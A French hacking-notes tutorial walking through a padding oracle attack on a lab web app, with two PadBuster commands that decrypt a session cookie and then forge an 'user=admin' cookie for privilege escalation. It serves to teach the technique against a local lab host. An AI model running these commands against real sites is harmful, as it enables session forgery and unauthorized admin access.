> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).
# Techniques d’oracle de padding
Allons **créer un utilisateur** sur le site web :
Voici le **cookie de session** qui est fragmenté et que nous essayons de **déchiffrer**:
Avec l'outil **PadBuster**, nous envoyons le lien avec le cookie de session et son nom comme suit :
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'
```
Il renvoie les valeurs du cookie en **texte clair**:
Si, au lieu de définir **user=jordan**, nous le chiffrons comme **user=admin**, cela nous donne le cookie de session administrateur s’il existe. Avec **PadBuster**, nous renvoyons la commande, mais cette fois nous utilisons **-plaintext** parce que nous connaissons le texte en clair que nous voulons chiffrer avec le même **oracle**:
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'
```
Il nous donne le cookie de session **admin**:
---
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